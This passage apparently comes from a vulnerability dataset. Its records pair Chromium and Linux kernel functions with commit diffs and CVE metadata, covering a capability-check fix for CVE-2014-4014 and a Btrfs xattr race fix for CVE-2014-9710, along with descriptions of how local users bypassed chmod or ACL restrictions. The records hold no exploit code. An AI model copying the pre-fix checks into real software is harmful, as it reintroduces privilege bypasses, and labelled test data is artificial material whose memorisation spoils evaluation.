last_enabled_time = clock.Now();\n \n- InitPrefMembers();\n {\n base::HistogramTester histogram_tester;\n settings_->data_reduction_proxy_service_->SetIOData(\n@@ -419,11 +440,11 @@ TEST_F(DataReductionProxySettingsTest, TestDaysSinceEnabledWithTestClock) {\n // running.\n settings_->SetDataReductionProxyEnabled(false /* enabled */);\n clock.Advance(base::TimeDelta::FromDays(1));\n- base::HistogramTester histogram_tester;\n last_enabled_time = clock.Now();\n \n- settings_->spdy_proxy_auth_enabled_.SetValue(true);\n- settings_->MaybeActivateDataReductionProxy(false);\n+ settings_->SetDataReductionProxyEnabled(true);\n+ base::HistogramTester histogram_tester;\n+ settings_->MaybeActivateDataReductionProxy(false /* at_startup */);\n test_context_->RunUntilIdle();\n histogram_tester.ExpectUniqueSample(kUMAEnabledState, 0, 1);\n EXPECT_EQ(\n@@ -439,7 +460,7 @@ TEST_F(DataReductionProxySettingsTest, TestDaysSinceEnabledWithTestClock) {\n base::HistogramTester histogram_tester;\n // Simulate Chromium start up. Data reduction proxy was enabled\n // |advance_clock_days| ago.\n- settings_->MaybeActivateDataReductionProxy(true);\n+ settings_->MaybeActivateDataReductionProxy(true /* at_startup */);\n test_context_->RunUntilIdle();\n histogram_tester.ExpectUniqueSample(kUMAEnabledState, advance_clock_days,\n 1);\n@@ -452,19 +473,35 @@ TEST_F(DataReductionProxySettingsTest, TestDaysSinceEnabledWithTestClock) {\n \n // Verify that the pref and the UMA metric are not recorded for existing users\n // that already have data reduction proxy on.\n-TEST_F(DataReductionProxySettingsTest, TestDaysSinceEnabledExistingUser) {\n- InitPrefMembers();\n+TEST(DataReductionProxySettingsStandaloneTest,\n+ TestDaysSinceEnabledExistingUser) {\n+ base::test::ScopedTaskEnvironment task_environment{\n+ base::test::ScopedTaskEnvironment::MainThreadType::IO};\n+ std::unique_ptr<DataReductionProxyTestContext> drp_test_context =\n+ DataReductionProxyTestContext::Builder()\n+ .WithMockConfig()\n+ .WithMockDataReductionProxyService()\n+ .SkipSettingsInitialization()\n+ .Build();\n+\n+ NetworkPropertiesManager network_properties_manager(\n+ base::DefaultClock::GetInstance(), drp_test_context->pref_service(),\n+ drp_test_context->task_runner());\n+ drp_test_context->config()->SetNetworkPropertiesManagerForTesting(\n+ &network_properties_manager);\n+\n+ // The proxy is enabled initially.\n+ drp_test_context->config()->UpdateConfigForTesting(true, true, true);\n+ drp_test_context->InitSettings();\n+\n base::HistogramTester histogram_tester;\n- settings_->data_reduction_proxy_service_->SetIOData(\n- test_context_->io_data()->GetWeakPtr());\n- test_context_->RunUntilIdle();\n \n // Simulate Chromium startup with data reduction proxy already enabled.\n- settings_->spdy_proxy_auth_enabled_.SetValue(true);\n- settings_->MaybeActivateDataReductionProxy(true /* at_startup */);\n- test_context_->RunUntilIdle();\n+ drp_test_context->settings()->MaybeActivateDataReductionProxy(\n+ true /* at_startup */);\n+ drp_test_context->RunUntilIdle();\n histogram_tester.ExpectTotalCount(\"DataReductionProxy.DaysSinceEnabled\", 0);\n- EXPECT_EQ(0, test_context_->pref_service()->GetInt64(\n+ EXPECT_EQ(0, drp_test_context->pref_service()->GetInt64(\n prefs::kDataReductionProxyLastEnabledTime));\n }\n \n@@ -473,7 +510,6 @@ TEST_F(DataReductionProxySettingsTest, TestDaysSinceSavingsCleared) {\n clock.Advance(base::TimeDelta::FromDays(1));\n ResetSettings(&clock);\n \n- InitPrefMembers();\n base::HistogramTester histogram_tester;\n test_context_->pref_service()->SetInt64(\n prefs::kDataReductionProxySavingsClearedNegativeSystemClock,\n@@ -486,7 +522,7 @@ TEST_F(DataReductionProxySettingsTest, TestDaysSinceSavingsCleared) {\n clock.Advance(base::TimeDelta::FromDays(100));\n \n // Simulate Chromium startup with data reduction proxy already enabled.\n- settings_->spdy_proxy_auth_enabled_.SetValue(true);\n+ settings_->SetDataReductionProxyEnabled(true);\n settings_->MaybeActivateDataReductionProxy(true /* at_startup */);\n test_context_->RunUntilIdle();\n histogram_tester.ExpectUniqueSample("}<_**next**_>{"sha": "9b517287d7aa17dab9952db7aa85e843850aa5cf", "filename": "components/data_reduction_proxy/core/common/data_reduction_proxy_pref_names.cc", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/common/data_reduction_proxy_pref_names.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/common/data_reduction_proxy_pref_names.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/common/data_reduction_proxy_pref_names.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -177,6 +177,10 @@ const char kDataReductionProxy[] = \"auth.spdyproxy.origin\";\n // A boolean specifying whether the DataSaver feature is enabled for this\n // client. Note that this preference key name is a legacy string for the sdpy\n // proxy.\n+//\n+// WARNING: This pref is not the source of truth for determining if Data Saver\n+// is enabled. Use |DataReductionSettings::IsDataSaverEnabledByUser| instead or\n+// consult the OWNERS.\n const char kDataSaverEnabled[] = \"spdy_proxy.enabled\";\n \n // String that specifies a persisted Data Reduction Proxy configuration."}
|
std::string ChromeContentBrowserClient::GetMetricSuffixForURL(const GURL& url) {
if (page_load_metrics::IsGoogleSearchResultUrl(url))
return "search";
if (url.host() == "docs.google.com")
return "docs";
return std::string();
}
|
std::string ChromeContentBrowserClient::GetMetricSuffixForURL(const GURL& url) {
if (page_load_metrics::IsGoogleSearchResultUrl(url))
return "search";
if (url.host() == "docs.google.com")
return "docs";
return std::string();
}
|
C
| null | null | null |
@@ -2282,12 +2282,9 @@ const gfx::ImageSkia* ChromeContentBrowserClient::GetDefaultFavicon() {
bool ChromeContentBrowserClient::IsDataSaverEnabled(
content::BrowserContext* browser_context) {
- data_reduction_proxy::DataReductionProxySettings*
- data_reduction_proxy_settings =
- DataReductionProxyChromeSettingsFactory::GetForBrowserContext(
- browser_context);
- return data_reduction_proxy_settings &&
- data_reduction_proxy_settings->IsDataSaverEnabledByUser();
+ Profile* profile = Profile::FromBrowserContext(browser_context);
+ return profile && data_reduction_proxy::DataReductionProxySettings::
+ IsDataSaverEnabledByUser(profile->GetPrefs());
}
void ChromeContentBrowserClient::UpdateRendererPreferencesForWorker(
|
Chrome
|
c995d4fe5e96f4d6d4a88b7867279b08e72d2579
|
62ea490d67eaefcb723d80c650e8adfc9740f4de
| 0
|
std::string ChromeContentBrowserClient::GetMetricSuffixForURL(const GURL& url) {
// Don't change these returned strings. They are written (in hashed form) into
// UMA logs. If you add more strings, you must update histograms.xml and get
// histograms review. Only Google domains should be here for privacy purposes.
// TODO(falken): Ideally Chrome would log the relevant UMA directly and this
// function could be removed.
if (page_load_metrics::IsGoogleSearchResultUrl(url))
return "search";
if (url.host() == "docs.google.com")
return "docs";
return std::string();
}
|
36,909
| null |
Local
|
Not required
|
Complete
|
CVE-2014-4014
|
https://www.cvedetails.com/cve/CVE-2014-4014/
|
CWE-264
|
High
|
Complete
|
Complete
| null |
2014-06-23
| 6.2
|
The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to bypass intended chmod restrictions by first creating a user namespace, as demonstrated by setting the setgid bit on a file with group ownership of root.
|
2018-12-18
|
Bypass
| 0
|
https://github.com/torvalds/linux/commit/23adbe12ef7d3d4195e80800ab36b37bee28cd03
|
23adbe12ef7d3d4195e80800ab36b37bee28cd03
|
fs,userns: Change inode_capable to capable_wrt_inode_uidgid
The kernel has no concept of capabilities with respect to inodes; inodes
exist independently of namespaces. For example, inode_capable(inode,
CAP_LINUX_IMMUTABLE) would be nonsense.
This patch changes inode_capable to check for uid and gid mappings and
renames it to capable_wrt_inode_uidgid, which should make it more
obvious what it does.
Fixes CVE-2014-4014.
Cc: Theodore Ts'o <tytso@mit.edu>
Cc: Serge Hallyn <serge.hallyn@ubuntu.com>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Dave Chinner <david@fromorbit.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| 0
|
fs/xfs/xfs_ioctl.c
|
{"sha": "6530ced19697d49a9189fa289c9112187448fee3", "filename": "fs/attr.c", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/attr.c", "raw_url": "https://github.com/torvalds/linux/raw/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/attr.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/attr.c?ref=23adbe12ef7d3d4195e80800ab36b37bee28cd03", "patch": "@@ -50,14 +50,14 @@ int inode_change_ok(const struct inode *inode, struct iattr *attr)\n \tif ((ia_valid & ATTR_UID) &&\n \t (!uid_eq(current_fsuid(), inode->i_uid) ||\n \t !uid_eq(attr->ia_uid, inode->i_uid)) &&\n-\t !inode_capable(inode, CAP_CHOWN))\n+\t !capable_wrt_inode_uidgid(inode, CAP_CHOWN))\n \t\treturn -EPERM;\n \n \t/* Make sure caller can chgrp. */\n \tif ((ia_valid & ATTR_GID) &&\n \t (!uid_eq(current_fsuid(), inode->i_uid) ||\n \t (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) &&\n-\t !inode_capable(inode, CAP_CHOWN))\n+\t !capable_wrt_inode_uidgid(inode, CAP_CHOWN))\n \t\treturn -EPERM;\n \n \t/* Make sure a caller can chmod. */\n@@ -67,7 +67,7 @@ int inode_change_ok(const struct inode *inode, struct iattr *attr)\n \t\t/* Also check the setgid bit! */\n \t\tif (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid :\n \t\t\t\tinode->i_gid) &&\n-\t\t !inode_capable(inode, CAP_FSETID))\n+\t\t !capable_wrt_inode_uidgid(inode, CAP_FSETID))\n \t\t\tattr->ia_mode &= ~S_ISGID;\n \t}\n \n@@ -160,7 +160,7 @@ void setattr_copy(struct inode *inode, const struct iattr *attr)\n \t\tumode_t mode = attr->ia_mode;\n \n \t\tif (!in_group_p(inode->i_gid) &&\n-\t\t !inode_capable(inode, CAP_FSETID))\n+\t\t !capable_wrt_inode_uidgid(inode, CAP_FSETID))\n \t\t\tmode &= ~S_ISGID;\n \t\tinode->i_mode = mode;\n \t}"}<_**next**_>{"sha": "6eecb7ff0b9aa2dae0ebee49a1c73ddb3f2db398", "filename": "fs/inode.c", "status": "modified", "additions": 7, "deletions": 3, "changes": 10, "blob_url": "https://github.com/torvalds/linux/blob/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/inode.c", "raw_url": "https://github.com/torvalds/linux/raw/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/inode.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/inode.c?ref=23adbe12ef7d3d4195e80800ab36b37bee28cd03", "patch": "@@ -1839,14 +1839,18 @@ EXPORT_SYMBOL(inode_init_owner);\n * inode_owner_or_capable - check current task permissions to inode\n * @inode: inode being checked\n *\n- * Return true if current either has CAP_FOWNER to the inode, or\n- * owns the file.\n+ * Return true if current either has CAP_FOWNER in a namespace with the\n+ * inode owner uid mapped, or owns the file.\n */\n bool inode_owner_or_capable(const struct inode *inode)\n {\n+\tstruct user_namespace *ns;\n+\n \tif (uid_eq(current_fsuid(), inode->i_uid))\n \t\treturn true;\n-\tif (inode_capable(inode, CAP_FOWNER))\n+\n+\tns = current_user_ns();\n+\tif (ns_capable(ns, CAP_FOWNER) && kuid_has_mapping(ns, inode->i_uid))\n \t\treturn true;\n \treturn false;\n }"}<_**next**_>{"sha": "985c6f3684859e17439d62c7d319611305414437", "filename": "fs/namei.c", "status": "modified", "additions": 6, "deletions": 5, "changes": 11, "blob_url": "https://github.com/torvalds/linux/blob/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/namei.c", "raw_url": "https://github.com/torvalds/linux/raw/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/namei.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/namei.c?ref=23adbe12ef7d3d4195e80800ab36b37bee28cd03", "patch": "@@ -332,10 +332,11 @@ int generic_permission(struct inode *inode, int mask)\n \n \tif (S_ISDIR(inode->i_mode)) {\n \t\t/* DACs are overridable for directories */\n-\t\tif (inode_capable(inode, CAP_DAC_OVERRIDE))\n+\t\tif (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))\n \t\t\treturn 0;\n \t\tif (!(mask & MAY_WRITE))\n-\t\t\tif (inode_capable(inode, CAP_DAC_READ_SEARCH))\n+\t\t\tif (capable_wrt_inode_uidgid(inode,\n+\t\t\t\t\t\t CAP_DAC_READ_SEARCH))\n \t\t\t\treturn 0;\n \t\treturn -EACCES;\n \t}\n@@ -345,15 +346,15 @@ int generic_permission(struct inode *inode, int mask)\n \t * at least one exec bit set.\n \t */\n \tif (!(mask & MAY_EXEC) || (inode->i_mode & S_IXUGO))\n-\t\tif (inode_capable(inode, CAP_DAC_OVERRIDE))\n+\t\tif (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))\n \t\t\treturn 0;\n \n \t/*\n \t * Searching includes executable on directories, else just read.\n \t */\n \tmask &= MAY_READ | MAY_WRITE | MAY_EXEC;\n \tif (mask == MAY_READ)\n-\t\tif (inode_capable(inode, CAP_DAC_READ_SEARCH))\n+\t\tif (capable_wrt_inode_uidgid(inode, CAP_DAC_READ_SEARCH))\n \t\t\treturn 0;\n \n \treturn -EACCES;\n@@ -2379,7 +2380,7 @@ static inline int check_sticky(struct inode *dir, struct inode *inode)\n \t\treturn 0;\n \tif (uid_eq(dir->i_uid, fsuid))\n \t\treturn 0;\n-\treturn !inode_capable(inode, CAP_FOWNER);\n+\treturn !capable_wrt_inode_uidgid(inode, CAP_FOWNER);\n }\n \n /*"}<_**next**_>{"sha": "6152cbe353e8ed134a650143e66e044fa8bdcc0a", "filename": "fs/xfs/xfs_ioctl.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/xfs/xfs_ioctl.c", "raw_url": "https://github.com/torvalds/linux/raw/23adbe12ef7d3d4195e80800ab36b37bee28cd03/fs/xfs/xfs_ioctl.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/xfs/xfs_ioctl.c?ref=23adbe12ef7d3d4195e80800ab36b37bee28cd03", "patch": "@@ -1215,7 +1215,7 @@ xfs_ioctl_setattr(\n \t\t * cleared upon successful return from chown()\n \t\t */\n \t\tif ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) &&\n-\t\t !inode_capable(VFS_I(ip), CAP_FSETID))\n+\t\t !capable_wrt_inode_uidgid(VFS_I(ip), CAP_FSETID))\n \t\t\tip->i_d.di_mode &= ~(S_ISUID|S_ISGID);\n \n \t\t/*"}<_**next**_>{"sha": "84b13ad67c1cc4acdce9aff94be070f13fcce5a1", "filename": "include/linux/capability.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/23adbe12ef7d3d4195e80800ab36b37bee28cd03/include/linux/capability.h", "raw_url": "https://github.com/torvalds/linux/raw/23adbe12ef7d3d4195e80800ab36b37bee28cd03/include/linux/capability.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/include/linux/capability.h?ref=23adbe12ef7d3d4195e80800ab36b37bee28cd03", "patch": "@@ -210,7 +210,7 @@ extern bool has_ns_capability_noaudit(struct task_struct *t,\n \t\t\t\t struct user_namespace *ns, int cap);\n extern bool capable(int cap);\n extern bool ns_capable(struct user_namespace *ns, int cap);\n-extern bool inode_capable(const struct inode *inode, int cap);\n+extern bool capable_wrt_inode_uidgid(const struct inode *inode, int cap);\n extern bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap);\n \n /* audit system wants to get cap info from files as well */"}<_**next**_>{"sha": "a5cf13c018ceca356dd02c37bd460abf9d95eddf", "filename": "kernel/capability.c", "status": "modified", "additions": 8, "deletions": 12, "changes": 20, "blob_url": "https://github.com/torvalds/linux/blob/23adbe12ef7d3d4195e80800ab36b37bee28cd03/kernel/capability.c", "raw_url": "https://github.com/torvalds/linux/raw/23adbe12ef7d3d4195e80800ab36b37bee28cd03/kernel/capability.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/capability.c?ref=23adbe12ef7d3d4195e80800ab36b37bee28cd03", "patch": "@@ -424,23 +424,19 @@ bool capable(int cap)\n EXPORT_SYMBOL(capable);\n \n /**\n- * inode_capable - Check superior capability over inode\n+ * capable_wrt_inode_uidgid - Check nsown_capable and uid and gid mapped\n * @inode: The inode in question\n * @cap: The capability in question\n *\n- * Return true if the current task has the given superior capability\n- * targeted at it's own user namespace and that the given inode is owned\n- * by the current user namespace or a child namespace.\n- *\n- * Currently we check to see if an inode is owned by the current\n- * user namespace by seeing if the inode's owner maps into the\n- * current user namespace.\n- *\n+ * Return true if the current task has the given capability targeted at\n+ * its own user namespace and that the given inode's uid and gid are\n+ * mapped into the current user namespace.\n */\n-bool inode_capable(const struct inode *inode, int cap)\n+bool capable_wrt_inode_uidgid(const struct inode *inode, int cap)\n {\n \tstruct user_namespace *ns = current_user_ns();\n \n-\treturn ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid);\n+\treturn ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid) &&\n+\t\tkgid_has_mapping(ns, inode->i_gid);\n }\n-EXPORT_SYMBOL(inode_capable);\n+EXPORT_SYMBOL(capable_wrt_inode_uidgid);"}
|
xfs_fssetdm_by_handle(
struct file *parfilp,
void __user *arg)
{
int error;
struct fsdmidata fsd;
xfs_fsop_setdm_handlereq_t dmhreq;
struct dentry *dentry;
if (!capable(CAP_MKNOD))
return -XFS_ERROR(EPERM);
if (copy_from_user(&dmhreq, arg, sizeof(xfs_fsop_setdm_handlereq_t)))
return -XFS_ERROR(EFAULT);
error = mnt_want_write_file(parfilp);
if (error)
return error;
dentry = xfs_handlereq_to_dentry(parfilp, &dmhreq.hreq);
if (IS_ERR(dentry)) {
mnt_drop_write_file(parfilp);
return PTR_ERR(dentry);
}
if (IS_IMMUTABLE(dentry->d_inode) || IS_APPEND(dentry->d_inode)) {
error = -XFS_ERROR(EPERM);
goto out;
}
if (copy_from_user(&fsd, dmhreq.data, sizeof(fsd))) {
error = -XFS_ERROR(EFAULT);
goto out;
}
error = -xfs_set_dmattrs(XFS_I(dentry->d_inode), fsd.fsd_dmevmask,
fsd.fsd_dmstate);
out:
mnt_drop_write_file(parfilp);
dput(dentry);
return error;
}
|
xfs_fssetdm_by_handle(
struct file *parfilp,
void __user *arg)
{
int error;
struct fsdmidata fsd;
xfs_fsop_setdm_handlereq_t dmhreq;
struct dentry *dentry;
if (!capable(CAP_MKNOD))
return -XFS_ERROR(EPERM);
if (copy_from_user(&dmhreq, arg, sizeof(xfs_fsop_setdm_handlereq_t)))
return -XFS_ERROR(EFAULT);
error = mnt_want_write_file(parfilp);
if (error)
return error;
dentry = xfs_handlereq_to_dentry(parfilp, &dmhreq.hreq);
if (IS_ERR(dentry)) {
mnt_drop_write_file(parfilp);
return PTR_ERR(dentry);
}
if (IS_IMMUTABLE(dentry->d_inode) || IS_APPEND(dentry->d_inode)) {
error = -XFS_ERROR(EPERM);
goto out;
}
if (copy_from_user(&fsd, dmhreq.data, sizeof(fsd))) {
error = -XFS_ERROR(EFAULT);
goto out;
}
error = -xfs_set_dmattrs(XFS_I(dentry->d_inode), fsd.fsd_dmevmask,
fsd.fsd_dmstate);
out:
mnt_drop_write_file(parfilp);
dput(dentry);
return error;
}
|
C
| null | null | null |
@@ -1215,7 +1215,7 @@ xfs_ioctl_setattr(
* cleared upon successful return from chown()
*/
if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) &&
- !inode_capable(VFS_I(ip), CAP_FSETID))
+ !capable_wrt_inode_uidgid(VFS_I(ip), CAP_FSETID))
ip->i_d.di_mode &= ~(S_ISUID|S_ISGID);
/*
|
linux
|
23adbe12ef7d3d4195e80800ab36b37bee28cd03
|
5b174fd6472b1d6b6402b30210a212f3fd770d96
| 0
|
xfs_fssetdm_by_handle(
struct file *parfilp,
void __user *arg)
{
int error;
struct fsdmidata fsd;
xfs_fsop_setdm_handlereq_t dmhreq;
struct dentry *dentry;
if (!capable(CAP_MKNOD))
return -XFS_ERROR(EPERM);
if (copy_from_user(&dmhreq, arg, sizeof(xfs_fsop_setdm_handlereq_t)))
return -XFS_ERROR(EFAULT);
error = mnt_want_write_file(parfilp);
if (error)
return error;
dentry = xfs_handlereq_to_dentry(parfilp, &dmhreq.hreq);
if (IS_ERR(dentry)) {
mnt_drop_write_file(parfilp);
return PTR_ERR(dentry);
}
if (IS_IMMUTABLE(dentry->d_inode) || IS_APPEND(dentry->d_inode)) {
error = -XFS_ERROR(EPERM);
goto out;
}
if (copy_from_user(&fsd, dmhreq.data, sizeof(fsd))) {
error = -XFS_ERROR(EFAULT);
goto out;
}
error = -xfs_set_dmattrs(XFS_I(dentry->d_inode), fsd.fsd_dmevmask,
fsd.fsd_dmstate);
out:
mnt_drop_write_file(parfilp);
dput(dentry);
return error;
}
|
45,303
| null |
Local
|
Not required
|
Complete
|
CVE-2014-9710
|
https://www.cvedetails.com/cve/CVE-2014-9710/
|
CWE-362
|
Medium
|
Complete
|
Complete
| null |
2015-05-27
| 6.9
|
The Btrfs implementation in the Linux kernel before 3.19 does not ensure that the visible xattr state is consistent with a requested replacement, which allows local users to bypass intended ACL settings and gain privileges via standard filesystem operations (1) during an xattr-replacement time window, related to a race condition, or (2) after an xattr-replacement attempt that fails because the data does not fit.
|
2016-12-30
|
+Priv Bypass
| 0
|
https://github.com/torvalds/linux/commit/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339
|
5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339
|
Btrfs: make xattr replace operations atomic
Replacing a xattr consists of doing a lookup for its existing value, delete
the current value from the respective leaf, release the search path and then
finally insert the new value. This leaves a time window where readers (getxattr,
listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs,
so this has security implications.
This change also fixes 2 other existing issues which were:
*) Deleting the old xattr value without verifying first if the new xattr will
fit in the existing leaf item (in case multiple xattrs are packed in the
same item due to name hash collision);
*) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't
exist but we have have an existing item that packs muliple xattrs with
the same name hash as the input xattr. In this case we should return ENOSPC.
A test case for xfstests follows soon.
Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace
implementation.
Reported-by: Alexandre Oliva <oliva@gnu.org>
Signed-off-by: Filipe Manana <fdmanana@suse.com>
Signed-off-by: Chris Mason <clm@fb.com>
| 0
|
fs/btrfs/ctree.c
|
{"sha": "817234168a7fc298c16ec624f82a7952ff60f488", "filename": "fs/btrfs/ctree.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/ctree.c", "raw_url": "https://github.com/torvalds/linux/raw/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/ctree.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/btrfs/ctree.c?ref=5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339", "patch": "@@ -2939,7 +2939,7 @@ int btrfs_search_slot(struct btrfs_trans_handle *trans, struct btrfs_root\n \t */\n \tif (!p->leave_spinning)\n \t\tbtrfs_set_path_blocking(p);\n-\tif (ret < 0)\n+\tif (ret < 0 && !p->skip_release_on_error)\n \t\tbtrfs_release_path(p);\n \treturn ret;\n }"}<_**next**_>{"sha": "a9466e346358d5f12952409c475d1c508660f69e", "filename": "fs/btrfs/ctree.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/torvalds/linux/blob/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/ctree.h", "raw_url": "https://github.com/torvalds/linux/raw/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/ctree.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/btrfs/ctree.h?ref=5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339", "patch": "@@ -607,6 +607,7 @@ struct btrfs_path {\n \tunsigned int leave_spinning:1;\n \tunsigned int search_commit_root:1;\n \tunsigned int need_commit_sem:1;\n+\tunsigned int skip_release_on_error:1;\n };\n \n /*\n@@ -3690,6 +3691,10 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans,\n int verify_dir_item(struct btrfs_root *root,\n \t\t struct extent_buffer *leaf,\n \t\t struct btrfs_dir_item *dir_item);\n+struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,\n+\t\t\t\t\t\t struct btrfs_path *path,\n+\t\t\t\t\t\t const char *name,\n+\t\t\t\t\t\t int name_len);\n \n /* orphan.c */\n int btrfs_insert_orphan_item(struct btrfs_trans_handle *trans,"}<_**next**_>{"sha": "1752625fb4dd67ed81ec6c24b07fff555d10c62d", "filename": "fs/btrfs/dir-item.c", "status": "modified", "additions": 3, "deletions": 7, "changes": 10, "blob_url": "https://github.com/torvalds/linux/blob/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/dir-item.c", "raw_url": "https://github.com/torvalds/linux/raw/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/dir-item.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/btrfs/dir-item.c?ref=5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339", "patch": "@@ -21,10 +21,6 @@\n #include \"hash.h\"\n #include \"transaction.h\"\n \n-static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,\n-\t\t\t struct btrfs_path *path,\n-\t\t\t const char *name, int name_len);\n-\n /*\n * insert a name into a directory, doing overflow properly if there is a hash\n * collision. data_size indicates how big the item inserted should be. On\n@@ -383,9 +379,9 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans,\n * this walks through all the entries in a dir item and finds one\n * for a specific name.\n */\n-static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,\n-\t\t\t struct btrfs_path *path,\n-\t\t\t const char *name, int name_len)\n+struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,\n+\t\t\t\t\t\t struct btrfs_path *path,\n+\t\t\t\t\t\t const char *name, int name_len)\n {\n \tstruct btrfs_dir_item *dir_item;\n \tunsigned long name_ptr;"}<_**next**_>{"sha": "47b19465f0dc64e85d00d99eaee50e88de9f1014", "filename": "fs/btrfs/xattr.c", "status": "modified", "additions": 93, "deletions": 57, "changes": 150, "blob_url": "https://github.com/torvalds/linux/blob/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/xattr.c", "raw_url": "https://github.com/torvalds/linux/raw/5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339/fs/btrfs/xattr.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/btrfs/xattr.c?ref=5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339", "patch": "@@ -29,6 +29,7 @@\n #include \"xattr.h\"\n #include \"disk-io.h\"\n #include \"props.h\"\n+#include \"locking.h\"\n \n \n ssize_t __btrfs_getxattr(struct inode *inode, const char *name,\n@@ -91,7 +92,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans,\n \t\t struct inode *inode, const char *name,\n \t\t const void *value, size_t size, int flags)\n {\n-\tstruct btrfs_dir_item *di;\n+\tstruct btrfs_dir_item *di = NULL;\n \tstruct btrfs_root *root = BTRFS_I(inode)->root;\n \tstruct btrfs_path *path;\n \tsize_t name_len = strlen(name);\n@@ -103,84 +104,119 @@ static int do_setxattr(struct btrfs_trans_handle *trans,\n \tpath = btrfs_alloc_path();\n \tif (!path)\n \t\treturn -ENOMEM;\n+\tpath->skip_release_on_error = 1;\n+\n+\tif (!value) {\n+\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n+\t\t\t\t\tname, name_len, -1);\n+\t\tif (!di && (flags & XATTR_REPLACE))\n+\t\t\tret = -ENODATA;\n+\t\telse if (di)\n+\t\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n+\t\tgoto out;\n+\t}\n \n+\t/*\n+\t * For a replace we can't just do the insert blindly.\n+\t * Do a lookup first (read-only btrfs_search_slot), and return if xattr\n+\t * doesn't exist. If it exists, fall down below to the insert/replace\n+\t * path - we can't race with a concurrent xattr delete, because the VFS\n+\t * locks the inode's i_mutex before calling setxattr or removexattr.\n+\t */\n \tif (flags & XATTR_REPLACE) {\n-\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name,\n-\t\t\t\t\tname_len, -1);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n-\t\t\tgoto out;\n-\t\t} else if (!di) {\n+\t\tASSERT(mutex_is_locked(&inode->i_mutex));\n+\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n+\t\t\t\t\tname, name_len, 0);\n+\t\tif (!di) {\n \t\t\tret = -ENODATA;\n \t\t\tgoto out;\n \t\t}\n-\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n-\t\tif (ret)\n-\t\t\tgoto out;\n \t\tbtrfs_release_path(path);\n+\t\tdi = 